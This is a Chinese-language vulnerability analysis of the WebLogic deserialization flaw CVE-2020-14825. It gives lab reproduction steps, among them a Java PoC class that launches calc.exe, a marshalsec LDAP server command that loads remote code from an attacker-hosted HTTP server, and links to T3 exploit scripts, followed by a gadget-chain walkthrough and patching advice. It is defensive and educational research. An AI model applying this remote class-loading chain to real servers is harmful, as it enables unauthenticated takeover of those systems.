WebLogic LockVersionExtractor反序列化(CVE-2020-14825)漏洞分析

0x01 简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

0x02 漏洞概述

Oracle官方在2020年10月份发布的最新安全补丁中修复了许多安全漏洞,其中黑名单类oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor可造成反序列化漏洞,分配编号 CVE-2020-14825。该漏洞允许未经身份验证的攻击者通过IIOP,T3进行网络访问,未经身份验证的攻击者成功利用此漏洞可能接管Oracle WebLogic Server。CVSS评分9.8。

0x03 影响版本

  • Oracle WebLogic Server 12.2.1.3.0
  • Oracle WebLogic Server 12.2.1.4.0
  • Oracle WebLogic Server 14.1.1.0.0

0x04 环境搭建

WebLogic 安装

由于之前复现 CVE-2020-14645 漏洞时已经搭建完成,因此在此不过多阐述过程,仅记录一些信息。

WebLogic 下载链接:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

WebLogic LockVersionExtractor反序列化(CVE-2020-14825)漏洞分析

选择 12.2.1.4 的 Generic 版本进行下载安装即可,安装过程注意JDK版本造成的安装失败(建议JDK 1.8)以及以管理员权限运行安装包。具体安装过程可参照这两篇文章:

此外,安装过程中,为方便后续其他漏洞利用,安装类型可选择“含示例的完整安装”。

安装完之后,直接运行安装目录下的启动脚本即可,路径结构如下:

$Oracle_Home$\12.2.1.4.0\user_projects\domains\wl_server\startWebLogic.cmd
// Oracle_Home指WebLogic安装的绝对路径

启动脚本后,浏览器访问http://127.0.0.1:7001/console

WebLogic LockVersionExtractor反序列化(CVE-2020-14825)漏洞分析

正常显示控制台登录界面,即代表安装成功。

0x05 漏洞复现

使用 WebLogic 12.2.1.4.0 版本进行复现

  1. 编译 poc 文件并通过 python 部署在 http 服务器,poc 文件如下:
public class exp{
    // POC open calc
    public exp(){
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        exp e = new exp();
    }
}

将编译产生的 class 文件部署在 python 起的 http 服务器

//python3
$python -m http.server 80
  1. 启动 ldap 服务链接到 poc 文件
$java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://192.168.247.128/#Poc 1389
  1. 运行 payload 文件生成反序列化数据文件,通过 t3 协议传输

payload 文件见:https://github.com/rufherg/WebLogic_Basic_Poc/blob/master/poc/CVE_2020_14825.java

python T3 脚本见:https://github.com/rufherg/WebLogic_Basic_Poc

WebLogic LockVersionExtractor反序列化(CVE-2020-14825)漏洞分析

成功弹出计算器

0x06 漏洞分析

这个漏洞实质上跟 CVE-2020-14645 并无太大差别,前半段的利用链入口是一致的,只不过最后造成代码执行的类不一样。CVE-2020-14645 用的类为com.tangosol.util.extractor.UniversalExtractor,而 CVE-2020-14825 用的类是oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor

WebLogic LockVersionExtractor反序列化(CVE-2020-14825)漏洞分析

从调用栈来看,前半部分即是 CC4 链的入口,此部分网上有很多深入分析的文章,此处不再阐述。重点来关注LockVersionExtractor这个类,观察其extract方法。

WebLogic LockVersionExtractor反序列化(CVE-2020-14825)漏洞分析

重点关注图上红框的方法,先来看this.accessor的来源。

WebLogic LockVersionExtractor反序列化(CVE-2020-14825)漏洞分析

构造方法中可以指定accessor,然后在extract方法中会依次调用其initializeAttributesgetAttributeValueFromObject方法。那么我们需要找到一个符合条件的Accessor类,并且其initializeAttributesgetAttributeValueFromObject方法中存在可恶意利用的部分。这里我们寻找到MethodAttributeAccessor这个类,在其getAttributeValueFromObject方法中存在恶意利用的部分。

WebLogic LockVersionExtractor反序列化(CVE-2020-14825)漏洞分析

但此处由于extract方法中的调用参数只有arg0,即parametersnull,因此我们只能寻找无参的利用方法。

WebLogic LockVersionExtractor反序列化(CVE-2020-14825)漏洞分析

WebLogic LockVersionExtractor反序列化(CVE-2020-14825)漏洞分析

方法名可以通过直接调用setGetMethod方法设置,但是这个属性值是经过transient修饰的。所以我们只能从setGetMethod方法入手,看看哪里还调用了这个方法。

WebLogic LockVersionExtractor反序列化(CVE-2020-14825)漏洞分析

恰巧在其initializeAttributes方法有一处调用了setGetMethod方法,但是注意需要给父类AttributeAccessorattributeName属性赋值,否则将抛出异常。接下来跟进Helper.getDeclaredMethod方法进行分析。

WebLogic LockVersionExtractor反序列化(CVE-2020-14825)漏洞分析

大致就是根据传入的方法是否私有,然后进行不同的处理,最终返回所需的Method对象。所以我们只要通过setGetMethodName方法设置this.getMethodName属性值,但是需要注意的是,我们需要令this.isWriteOnly()返回true,否则将会覆盖我们上面设置的方法。可以通过setIsWriteOnly方法设置this.isWriteOnlytrue

至此,我们可以通过反序列化已经可以调用任意类的无参方法。很容易联想到 CVE-2020-14645 和 fastjson 的利用方式,即通过JdbcRowSetImpl进行 JNDI 注入。其connect方法中调用了lookup方法,并且DataSourceName是可控的,因此存在JNDI注入漏洞,看看有哪些地方调用了connect方法。

WebLogic LockVersionExtractor反序列化(CVE-2020-14825)漏洞分析

由于setAutoCommit不是无参方法,因此使用getDatabaseMetaData方法进行利用。

0x07 修复建议

1、安装官方补丁

https://www.oracle.com/security-alerts/cpuoct2020.html

2、限制T3访问来源

漏洞产生于WebLogic默认启用的T3协议,因此可通过限制T3访问来源来阻止攻击。

3、禁用IIOP协议

可以查看下面官方文章进行关闭IIOP协议。

https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/channels/EnableAndConfigureIIOP.html

0x08 总结

实质上,这个洞也是一种类比思路产生,从2555到2883,再到14645然后到14825。不断在跟黑名单博弈,利用链前半段依旧不变,一直在找可以替代的Extractor。在平时的一些挖洞上,类比思路是一个很好的技巧,比起全盘代码审计,显得更加高效。在不断的漏洞复现中,需要学会总结中其中存在的共性,并将其转化为自己的经验技巧,用于平时的漏洞挖掘又或者从甲方的角度去思考如何真正有效的防御。

参考链接:

上一篇:Java XXE漏洞典型场景分析


下一篇:weblogic